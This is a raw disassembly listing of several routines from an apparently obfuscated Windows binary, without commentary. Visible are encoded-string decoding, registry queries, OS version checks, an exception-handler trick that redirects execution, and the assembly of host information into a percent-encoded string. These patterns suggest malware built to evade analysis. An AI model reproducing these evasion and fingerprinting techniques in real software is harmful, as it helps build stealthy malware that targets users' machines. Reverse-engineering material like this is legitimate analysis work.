		lea	edx, [ebp+var_FF]
		push	edx
		call	sub_43DE22
		add	esp, 10h
		mov	ecx, dword_54F1F4
		add	ecx, 0FFF2h
		add	ecx, dword_54F170
		cmp	eax, ecx
		jz	short loc_441097
		xor	eax, eax
		inc	eax
		jmp	loc_441202
; ---------------------------------------------------------------------------


loc_441097:				; CODE XREF: sub_440FB0+DDj
		mov	[ebp+var_208], 0FFh
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		call	ds:dword_446040
		push	offset word_54F942
		call	sub_43AAF7
		push	eax
		lea	edx, [ebp+var_1FE]
		push	edx
		call	ds:dword_44602C
		mov	eax, dword_54F19C
		sub	eax, 3
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		call	sub_43DE22
		add	esp, 18h
		mov	edx, dword_54F15C
		add	edx, 0FFFBh
		cmp	eax, edx
		jz	short loc_441104
		xor	eax, eax
		inc	eax
		jmp	loc_441202
; ---------------------------------------------------------------------------


loc_441104:				; CODE XREF: sub_440FB0+14Aj
		call	ds:dword_4CC918
		mov	esi, eax
		xor	ebx, ebx
		mov	edi, esi


loc_441110:				; CODE XREF: sub_440FB0+23Bj
		movsx	eax, word_54F0B4
		add	eax, dword_54F090
		sub	eax, 9
		movzx	eax, byte ptr [edi+eax]
		movsx	edx, word_54F1C4
		movsx	ecx, word_54F164
		add	edx, ecx
		sub	edx, 9
		cmp	eax, edx
		jz	loc_4411F0
		mov	ecx, edi
		or	eax, 0FFFFFFFFh


loc_441144:				; CODE XREF: sub_440FB0+199j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_441144
		mov	[ebp+var_20C], eax
		push	offset dword_54F938
		call	sub_43AAF7
		add	esp, 4
		mov	edx, dword_54F0DC
		add	edx, dword_54F12C
		sub	edx, 0Bh
		push	edx
		push	eax
		push	edi
		call	sub_43DE22
		add	esp, 0Ch
		mov	ecx, dword_54F200
		add	ecx, 0FFFAh
		cmp	eax, ecx
		jz	short loc_44118F
		mov	ebx, 1
		jmp	short loc_4411F0
; ---------------------------------------------------------------------------


loc_44118F:				; CODE XREF: sub_440FB0+1D6j
		push	offset asc_54F927 ; "\r"
		call	sub_43AAF7
		movsx	edx, word_54F104
		inc	edx
		push	edx
		push	eax
		push	edi
		call	sub_43DE22
		add	esp, 10h
		mov	edx, eax
		mov	ecx, dword_54F0B0
		add	ecx, 0FFF3h
		movsx	eax, word_54F1E8
		add	ecx, eax
		cmp	edx, ecx
		jz	short loc_4411CC
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_4411F0
; ---------------------------------------------------------------------------


loc_4411CC:				; CODE XREF: sub_440FB0+215j
		movsx	eax, word_54F208
		movsx	edx, word_54F240
		add	eax, edx
		sub	eax, 8
		mov	edx, [ebp+var_20C]
		add	edx, edi
		mov	edi, eax
		add	edi, edx
		jmp	loc_441110
; ---------------------------------------------------------------------------


loc_4411F0:				; CODE XREF: sub_440FB0+189j
					; sub_440FB0+1DDj ...
		push	esi
		call	ds:dword_4CB944
		or	ebx, ebx
		jz	short loc_441200
		xor	eax, eax
		inc	eax
		jmp	short loc_441202
; ---------------------------------------------------------------------------


loc_441200:				; CODE XREF: sub_440FB0+249j
		xor	eax, eax


loc_441202:				; CODE XREF: sub_440FB0+13j
					; sub_440FB0+5Aj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_440FB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441207	proc near		; DATA XREF: sub_43BE1F+Bo

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		mov	esi, [ebp+arg_8]
		mov	eax, offset sub_43C266
		mov	[esi+0B8h], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+0C4h], eax
		popa
		mov	esp, ebp
		pop	ebp
		xor	eax, eax
		retn
sub_441207	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44122A	proc near		; CODE XREF: sub_43DA48+9p
					; sub_43ECD2+11p ...

var_94		= dword	ptr -94h
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		cmp	dword_54F284, 0
		jz	short loc_441241
		xor	eax, eax
		inc	eax
		jmp	short locret_441270
; ---------------------------------------------------------------------------


loc_441241:				; CODE XREF: sub_44122A+10j
		mov	[ebp+var_94], 94h
		lea	eax, [ebp+var_94]
		push	eax
		call	ds:dword_54DF28
		cmp	[ebp+var_84], 2
		jnz	short loc_44126B
		mov	dword_54F284, 1


loc_44126B:				; CODE XREF: sub_44122A+35j
		mov	eax, dword_54F284

locret_441270:				; CODE XREF: sub_44122A+15j
		leave
		retn
sub_44122A	endp


; =============== S U B	R O U T	I N E =======================================



sub_441272	proc near		; CODE XREF: sub_444ED7+39p
		push	edi
		push	offset asc_54F91A ; "\t"
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_449598
		mov	dword_54F260, eax
		mov	eax, dword_54F168
		sub	eax, 2
		cmp	dword_54F260, eax
		jnz	short loc_4412B1
		push	offset asc_54F90D ; "\t"
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_48A218
		mov	dword_54F260, eax


loc_4412B1:				; CODE XREF: sub_441272+26j
		push	offset word_54F8FE
		call	sub_43AAF7
		pop	ecx
		push	eax
		push	dword_54F260
		call	ds:dword_4491AC
		mov	ds:dword_4CA220, eax
		pop	edi
		retn
sub_441272	endp


; =============== S U B	R O U T	I N E =======================================



sub_4412D0	proc near		; DATA XREF: .data:0054F2DCo
		mov	eax, 80004001h
		retn	18h
sub_4412D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4412D8	proc near		; CODE XREF: sub_441843+139p

var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_198		= dword	ptr -198h
var_193		= dword	ptr -193h
var_18F		= dword	ptr -18Fh
var_18B		= dword	ptr -18Bh
var_187		= dword	ptr -187h
var_183		= dword	ptr -183h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ACh
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	byte ptr [edi],	0
		mov	[ebp+var_193], 94h
		lea	eax, [ebp+var_193]
		push	eax
		call	ds:dword_54DF28
		cmp	[ebp+var_183], 1
		jnz	short loc_44131F
		push	offset dword_54F8F8
		call	sub_43AAF7
		push	eax
		push	edi
		call	ds:dword_44602C
		add	esp, 0Ch


loc_44131F:				; CODE XREF: sub_4412D8+30j
		cmp	[ebp+var_183], 2
		jnz	short loc_44133D
		push	offset word_54F8F2
		call	sub_43AAF7
		push	eax
		push	edi
		call	ds:dword_50C928
		add	esp, 0Ch


loc_44133D:				; CODE XREF: sub_4412D8+4Ej
		push	offset word_54F8E6
		call	sub_43AAF7
		push	[ebp+var_187]
		push	[ebp+var_18B]
		push	[ebp+var_18F]
		push	eax
		lea	ebx, [ebp+var_FF]
		push	ebx
		call	ds:dword_50C928
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44602C
		push	offset byte_54F8DF
		call	sub_43AAF7
		mov	ebx, dword_54F108
		sub	ebx, 8
		push	ebx
		movsx	ebx, word_54F0FC
		add	ebx, dword_54F0BC
		sub	ebx, 2
		push	ebx
		lea	ebx, [ebp+var_19C]
		push	ebx
		lea	ebx, [ebp+var_19C]
		push	ebx
		lea	ebx, [ebp+var_1A0]
		push	ebx
		push	0FFh
		lea	ebx, [ebp+var_FF]
		push	ebx
		push	eax
		call	ds:dword_4CC900
		push	offset byte_54F8D7
		call	sub_43AAF7
		push	[ebp+var_1A0]
		push	eax
		lea	ebx, [ebp+var_FF]
		push	ebx
		call	ds:dword_50C928
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44602C
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		mov	eax, dword_54F170
		movsx	edx, word_54F240
		add	eax, edx
		sub	eax, 9
		push	eax
		push	400h
		call	ds:dword_4495A8
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44602C
		push	offset word_54F8D2
		call	sub_43AAF7
		push	eax
		push	edi
		call	ds:dword_44602C
		mov	[ebp+var_198], 0FFh
		push	offset byte_54F8A5
		call	sub_43AAF7
		mov	[ebp+var_1A8], eax
		push	offset asc_54F898 ; "\t"
		call	sub_43AAF7
		lea	ebx, [ebp+var_1A4]
		push	ebx
		lea	ebx, [ebp+var_198]
		push	ebx
		lea	ebx, [ebp+var_FF]
		push	ebx
		push	eax
		mov	ebx, [ebp+var_1A8]
		push	ebx
		push	80000002h
		call	sub_440B18
		add	esp, 70h
		mov	esi, eax
		movsx	eax, word_54F198
		cmp	esi, eax
		jnz	short loc_4414A5
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44602C
		add	esp, 8
		jmp	short loc_44151D
; ---------------------------------------------------------------------------


loc_4414A5:				; CODE XREF: sub_4412D8+1B8j
		mov	[ebp+var_198], 0FFh
		push	offset unk_54F868
		call	sub_43AAF7
		mov	[ebp+var_1AC], eax
		push	offset byte_54F85B
		call	sub_43AAF7
		lea	ebx, [ebp+var_1A4]
		push	ebx
		lea	ebx, [ebp+var_198]
		push	ebx
		lea	ebx, [ebp+var_FF]
		push	ebx
		push	eax
		mov	ebx, [ebp+var_1AC]
		push	ebx
		push	80000002h
		call	sub_440B18
		add	esp, 20h
		mov	esi, eax
		movsx	eax, word_54F210
		movsx	edx, word_54F1A4
		add	eax, edx
		sub	eax, 0Ah
		cmp	esi, eax
		jnz	short loc_44151D
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44602C
		add	esp, 8


loc_44151D:				; CODE XREF: sub_4412D8+1CBj
					; sub_4412D8+232j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4412D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_441522	proc near		; CODE XREF: sub_441843+F7p
		push	ebx
		push	esi
		movsx	esi, word_54F164
		mov	ebx, dword_54F0B0
		add	ebx, 6E0637BAh
		mov	ds:dword_54CAF8[esi*4],	ebx
		mov	esi, dword_54F090
		add	esi, 7
		movsx	ebx, word_54F104
		add	esi, ebx
		movsx	ebx, word_54F0C4
		movsx	edx, word_54F240
		lea	ebx, [ebx+edx+1E4E8736h]
		mov	ds:dword_54CAC0[esi*4],	ebx
		mov	esi, dword_54F0B0
		add	esi, 2
		add	esi, dword_54F0EC
		mov	ebx, dword_54F150
		add	ebx, 3D357C67h
		mov	ds:dword_54CAC0[esi*4],	ebx
		movsx	esi, word_54F13C
		add	esi, dword_54F1F4
		mov	ebx, dword_54F120
		add	ebx, 869AE873h
		add	ebx, dword_54F1E4
		mov	ds:dword_54CA80[esi*4],	ebx
		movsx	esi, word_54F0F8
		add	esi, dword_54F238
		mov	ebx, dword_54F0E0
		add	ebx, 0BFFD7E26h
		mov	ds:dword_54CAB0[esi*4],	ebx
		mov	ecx, dword_54F19C
		sub	ecx, 3
		jmp	short loc_4415F1
; ---------------------------------------------------------------------------


loc_4415DF:				; CODE XREF: sub_441522+DFj
		movsx	esi, word_54F190
		sub	esi, 8
		mov	ds:dword_54CA80[ecx*4],	esi
		inc	ecx


loc_4415F1:				; CODE XREF: sub_441522+BBj
		mov	eax, dword_54F184
		add	eax, 8
		add	eax, dword_54F1D8
		cmp	ecx, eax
		jb	short loc_4415DF
		movsx	ecx, word_54F0A8
		mov	esi, dword_54F11C
		add	esi, 323D4731h
		add	esi, dword_54F184
		mov	ds:dword_54CAF4[ecx*4],	esi
		movsx	ecx, word_54F1C4
		mov	esi, dword_54F0D8
		add	esi, 505215A3h
		add	esi, dword_54F22C
		mov	ds:dword_54CAB8[ecx*4],	esi
		mov	ecx, dword_54F1B0
		movsx	esi, word_54F118
		add	esi, 1AB051F1h
		mov	ds:dword_54CACC[ecx*4],	esi
		movsx	ecx, word_54F1C4
		movsx	esi, word_54F138
		add	ecx, esi
		mov	esi, dword_54F1E4
		add	esi, 280E85C8h
		add	esi, dword_54F098
		mov	ds:dword_54CAB8[ecx*4],	esi
		movsx	ecx, word_54F128
		mov	esi, dword_54F1EC
		add	esi, 0E383CCDCh
		mov	ds:dword_54CADC[ecx*4],	esi
		mov	ecx, dword_54F224
		add	ecx, dword_54F160
		mov	esi, dword_54F248
		add	esi, 0D76ADDDAh
		add	esi, dword_54F0B8
		mov	ds:dword_54CAB0[ecx*4],	esi
		mov	ecx, dword_54F0A0
		movsx	esi, word_54F118
		mov	ebx, dword_54F0A4
		lea	esi, [esi+ebx+14F80509h]
		mov	ds:dword_54CAEC[ecx*4],	esi
		mov	ecx, dword_54F178
		mov	esi, dword_54F160
		add	esi, 0CC24407Bh
		mov	ds:dword_54CAA8[ecx*4],	esi
		mov	ecx, dword_54F134
		add	ecx, dword_54F1EC
		mov	esi, ebx
		add	esi, 1B77E1D9h
		movsx	ebx, word_54F0CC
		add	esi, ebx
		mov	ds:dword_54CAC0[ecx*4],	esi
		movsx	ecx, word_54F138
		mov	esi, dword_54F124
		add	esi, 0Dh
		add	esi, dword_54F168
		mov	ds:dword_54CA74[ecx*4],	esi
		movsx	ecx, word_54F244
		movsx	esi, word_54F1A4
		mov	ebx, dword_54F184
		lea	esi, [esi+ebx-1E081165h]
		mov	ds:dword_54CAA4[ecx*4],	esi
		mov	ecx, dword_54F238
		add	ecx, 6
		add	ecx, dword_54F0E8
		mov	esi, dword_54F0D4
		add	esi, 0D24B644Bh
		add	esi, dword_54F1BC
		mov	ds:dword_54CAC0[ecx*4],	esi
		pop	esi
		pop	ebx
		retn
sub_441522	endp


; =============== S U B	R O U T	I N E =======================================



sub_44178D	proc near		; DATA XREF: .data:0054F2F8o
		mov	eax, 80004001h
		retn	8
sub_44178D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441795	proc near		; CODE XREF: sub_440B82+E8p
					; sub_440B82+166p

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebx],	0
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_4417AB:				; CODE XREF: sub_441795+1Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4417AB
		mov	[ebp+var_4], eax
		movsx	eax, word_54F118
		mov	edi, eax
		add	edi, dword_54F15C
		sub	edi, 0Ch
		jmp	short loc_441839
; ---------------------------------------------------------------------------


loc_4417C9:				; CODE XREF: sub_441795+A7j
		movzx	eax, [ebp+arg_8]
		cmp	edi, eax
		jb	short loc_4417DC
		mov	al, [esi+edi]
		cmp	al, 2Fh
		jz	short loc_4417DC
		cmp	al, 2Eh
		jnz	short loc_4417FB


loc_4417DC:				; CODE XREF: sub_441795+3Aj
					; sub_441795+41j
		push	offset byte_54F855
		call	sub_43AAF7
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	ds:dword_50C928
		add	esp, 10h
		jmp	short loc_44182A
; ---------------------------------------------------------------------------


loc_4417FB:				; CODE XREF: sub_441795+45j
		push	offset dword_54F850
		call	sub_43AAF7
		push	eax
		push	ebx
		call	ds:dword_44602C
		push	offset dword_54F848
		call	sub_43AAF7
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	ds:dword_50C928
		add	esp, 1Ch


loc_44182A:				; CODE XREF: sub_441795+64j
		lea	eax, [ebp+var_7]
		push	eax
		push	ebx
		call	ds:dword_44602C
		add	esp, 8
		inc	edi


loc_441839:				; CODE XREF: sub_441795+32j
		cmp	edi, [ebp+var_4]
		jb	short loc_4417C9
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_441795	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441843	proc near		; CODE XREF: sub_444ED7+33Ap

var_26C		= dword	ptr -26Ch
var_268		= byte ptr -268h
var_267		= byte ptr -267h
var_211		= byte ptr -211h
var_205		= byte ptr -205h
var_203		= byte ptr -203h
var_202		= byte ptr -202h
var_1FB		= byte ptr -1FBh
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		movsx	eax, word_54F0FC
		sub	eax, 2
		push	eax
		mov	eax, dword_54F15C
		sub	eax, 4
		push	eax
		push	1Ch
		mov	eax, dword_54F224
		add	eax, dword_54F24C
		sub	eax, 0Ah
		push	eax
		call	ds:dword_489A00
		lea	eax, [ebp+var_267]
		push	eax
		call	sub_43CCB6
		lea	eax, sub_43D41A
		mov	ds:dword_50C91C, eax
		lea	eax, sub_43B535
		mov	ds:dword_54CA74, eax
		lea	eax, sub_43D41A
		mov	ds:dword_48A1E0, eax
		lea	eax, sub_43BB30
		mov	ds:dword_48A1F0, eax
		push	offset byte_54F835
		call	sub_43AAF7
		movsx	edi, word_54F13C
		add	edi, dword_54F204
		sub	edi, 5
		push	edi
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		push	offset dword_4490A0
		call	ds:dword_50C928
		push	offset word_54F826
		call	sub_43AAF7
		mov	edi, dword_54F140
		add	edi, dword_54F0A4
		sub	edi, 2
		push	edi
		lea	edi, [ebp+var_267]
		push	edi
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		push	offset dword_4CA230
		call	ds:dword_50C928
		lea	eax, dword_4490A0
		mov	ds:dword_4CB820, eax
		lea	eax, dword_4CB830
		mov	ds:dword_447FD4, eax
		lea	eax, sub_43BD8A
		mov	ds:dword_4899E4, eax
		call	sub_441522
		mov	eax, dword_54F178
		inc	eax
		push	eax
		push	offset dword_48A200
		call	sub_43CDF9
		push	offset word_54F812
		call	sub_43AAF7
		mov	edi, dword_54F1F4
		sub	edi, 3
		push	edi
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		push	offset dword_4CB830
		call	ds:dword_50C928
		push	offset dword_447FE0
		call	sub_4412D8
		push	offset byte_54F7FF
		call	sub_43AAF7
		mov	edi, dword_54F14C
		add	edi, 4
		push	edi
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		push	offset dword_4CA440
		call	ds:dword_50C928
		lea	eax, sub_43D41A
		mov	ds:dword_447014, eax
		lea	eax, dword_4CA440
		mov	ds:dword_44601C, eax
		lea	eax, dword_54C970
		mov	dword_54F2C4, eax
		push	offset sub_43CDC6
		call	sub_43CBAF
		push	offset sub_4447F2
		call	sub_43CBAF
		push	offset sub_44293B
		call	sub_43CBAF
		movsx	eax, word_54F09C
		add	eax, dword_54F1F4
		sub	eax, 5
		mov	ds:dword_4495D0, eax
		mov	eax, dword_54F248
		add	eax, dword_54F1C0
		sub	eax, 4
		push	eax
		lea	eax, [ebp+var_203]
		push	eax
		call	sub_441E2E
		add	esp, 78h
		mov	eax, dword_54F16C
		add	eax, dword_54F098
		cmp	[ebp+eax+var_211], 64h
		jnz	short loc_441A7B
		movsx	eax, [ebp+var_202]
		mov	edx, dword_54F168
		add	edx, 16h
		movsx	ecx, word_54F1C4
		add	edx, ecx
		sub	eax, edx
		mov	[ebp+var_268], al
		movsx	eax, word_54F218
		mov	ds:dword_4495D0, eax
		movzx	eax, [ebp+var_268]
		push	eax
		mov	eax, dword_54F0A4
		add	eax, dword_54F1C8
		sub	eax, 0Fh
		push	eax
		call	sub_43D090
		add	esp, 8


loc_441A7B:				; CODE XREF: sub_441843+1EAj
		movsx	eax, word_54F104
		add	eax, dword_54F14C
		cmp	[ebp+eax+var_205], 67h
		jnz	short loc_441AD7
		mov	eax, dword_54F14C
		mov	edx, eax
		sub	edx, 2
		mov	[ebp+eax+var_1FB], dl
		lea	eax, [ebp+var_202]
		push	eax
		call	ds:dword_44701C
		mov	[ebp+var_26C], eax
		push	eax
		push	offset dword_54C970
		call	sub_443E8D
		add	esp, 0Ch
		mov	eax, dword_54F0E0
		add	eax, dword_54F098
		sub	eax, 0Fh
		mov	ds:dword_4495D0, eax


loc_441AD7:				; CODE XREF: sub_441843+24Dj
		pop	edi
		leave
		retn
sub_441843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441ADA	proc near		; CODE XREF: sub_43B3AD+FCp

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		lea	eax, dword_54CA80
		mov	[ebp+var_48], eax
		movsx	eax, word_54F244
		mov	edi, eax
		add	edi, dword_54F0B8
		sub	edi, 0Bh
		jmp	short loc_441B11
; ---------------------------------------------------------------------------


loc_441B03:				; CODE XREF: sub_441ADA+43j
		mov	edx, edi
		shl	edx, 1
		mov	cx, [ebx+edi*2]
		mov	[ebp+edx+var_40], cx
		inc	edi


loc_441B11:				; CODE XREF: sub_441ADA+27j
		movsx	eax, word_54F138
		add	eax, 1Dh
		cmp	edi, eax
		jb	short loc_441B03
		mov	eax, dword_54F1BC
		sub	eax, 6
		mov	[ebp+var_44], eax


loc_441B2A:				; CODE XREF: sub_441ADA+6Bj
		inc	[ebp+var_44]
		mov	eax, [ebp+var_48]
		movzx	eax, word ptr [eax]
		cmp	[ebp+var_44], eax
		jnb	short loc_441B47
		push	ebx
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_43B0C6
		add	esp, 8
		jmp	short loc_441B2A
; ---------------------------------------------------------------------------


loc_441B47:				; CODE XREF: sub_441ADA+5Cj
		mov	esi, dword_54F0B8
		sub	esi, 4
		jmp	short loc_441B63
; ---------------------------------------------------------------------------


loc_441B52:				; CODE XREF: sub_441ADA+93j
		mov	edx, esi
		shl	edx, 1
		mov	ecx, [ebp+arg_4]
		mov	dx, [ebp+edx+var_40]
		mov	[ecx+esi*2], dx
		inc	esi


loc_441B63:				; CODE XREF: sub_441ADA+76j
		mov	eax, dword_54F120
		add	eax, 18h
		cmp	esi, eax
		jb	short loc_441B52
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_441ADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441B74	proc near		; CODE XREF: sub_444ED7+344p

var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_54F218
		add	eax, dword_54F1D4
		sub	eax, 8
		mov	[ebp+var_4], eax
		jmp	short loc_441BB4
; ---------------------------------------------------------------------------


loc_441B92:				; CODE XREF: sub_441B74+4Bj
		mov	eax, 30h
		mul	[ebp+var_4]
		mov	[ebp+var_20], eax
		movsx	eax, word_54F244
		sub	eax, 7
		mov	edx, [ebp+var_20]
		mov	ds:dword_4CA550[edx], eax
		inc	[ebp+var_4]


loc_441BB4:				; CODE XREF: sub_441B74+1Cj
		mov	eax, dword_54F0B0
		add	eax, 5Fh
		cmp	[ebp+var_4], eax
		jb	short loc_441B92
		movsx	eax, word_54F0D0
		sub	eax, 6
		push	eax
		call	ds:dword_449084
		push	offset dword_54F2E8
		push	offset dword_550A88
		push	7
		mov	eax, dword_54F1B0
		sub	eax, 7
		push	eax
		push	offset dword_5509C8
		call	ds:dword_4495D4
		mov	ebx, eax
		mov	eax, dword_54F220
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_441DAD
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, dword_54F2E8
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	ebx, eax
		mov	eax, dword_54F204
		sub	eax, 2
		cmp	ebx, eax
		jnz	short loc_441C2E
		mov	eax, dword_54F220
		sub	eax, 2
		cmp	[ebp+var_C], eax
		jnz	short loc_441C33


loc_441C2E:				; CODE XREF: sub_441B74+ABj
		jmp	loc_441D34
; ---------------------------------------------------------------------------


loc_441C33:				; CODE XREF: sub_441B74+B8j
		movsx	eax, word_54F0C4
		add	eax, dword_54F0E8
		sub	eax, 7
		mov	[ebp+var_8], eax
		jmp	loc_441D28
; ---------------------------------------------------------------------------


loc_441C4B:				; CODE XREF: sub_441B74+1BAj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_30], eax
		mov	[ebp+var_38], 3
		lea	eax, [ebp+var_3C]
		push	eax
		lea	esi, [ebp+var_38]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, dword_54F2E8
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, dword_54F0F0
		add	eax, dword_54F16C
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_441D25
		lea	eax, [ebp+var_40]
		push	eax
		push	offset dword_550AA8
		mov	eax, [ebp+var_3C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_54F22C
		add	eax, dword_54F0D8
		sub	eax, 0Dh
		cmp	ebx, eax
		jnz	short loc_441D1C
		lea	eax, off_54F2E4
		mov	[ebp+var_24], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_44]
		push	eax
		push	offset dword_5509E8
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		cmp	ebx, dword_54F0BC
		jnz	short loc_441D0A
		lea	eax, [ebp+var_48]
		push	eax
		push	offset dword_5509E8
		push	[ebp+var_44]
		push	[ebp+var_40]
		call	sub_43D748
		add	esp, 10h
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_44]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_441D0A:				; CODE XREF: sub_441B74+171j
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_441D1C:				; CODE XREF: sub_441B74+142j
		mov	eax, [ebp+var_3C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_441D25:				; CODE XREF: sub_441B74+114j
		inc	[ebp+var_8]


loc_441D28:				; CODE XREF: sub_441B74+D2j
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_8], eax
		jb	loc_441C4B


loc_441D34:				; CODE XREF: sub_441B74:loc_441C2Ej
		lea	eax, off_54F308
		mov	[ebp+var_10], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_5509D8
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr ds:0[esi]
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_5509D8
		push	[ebp+var_14]
		push	dword_54F2E8
		call	sub_43D748
		add	esp, 10h
		mov	[ebp+var_18], eax
		mov	eax, dword_54F1F8
		movsx	edx, word_54F198
		add	eax, edx
		sub	eax, 4
		cmp	[ebp+var_18], eax
		jnz	short loc_441DAD
		mov	eax, dword_54F2E8
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, dword_54F14C
		sub	eax, 2
		mov	dword_54F2E8, eax


loc_441DAD:				; CODE XREF: sub_441B74+8Aj
					; sub_441B74+21Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_441B74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441DB2	proc near		; CODE XREF: sub_440B06+2p
					; sub_440B06+9p

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		movsx	eax, word_54F0FC
		sub	eax, 2
		push	eax
		mov	eax, dword_54F224
		movsx	edx, word_54F094
		add	eax, edx
		sub	eax, 3
		push	eax
		push	[ebp+arg_0]
		mov	eax, dword_54F120
		sub	eax, 8
		push	eax
		call	ds:dword_489A00
		mov	edi, eax
		or	edi, edi
		jnz	short loc_441E23
		push	offset word_54F7FA
		call	sub_43AAF7
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	ds:dword_44602C
		push	1
		push	43h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_43E77A
		add	esp, 18h


loc_441E23:				; CODE XREF: sub_441DB2+44j
		pop	edi
		leave
		retn
sub_441DB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_441E26	proc near		; DATA XREF: .data:0054F2BCo
		mov	eax, 80004001h
		retn	18h
sub_441E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


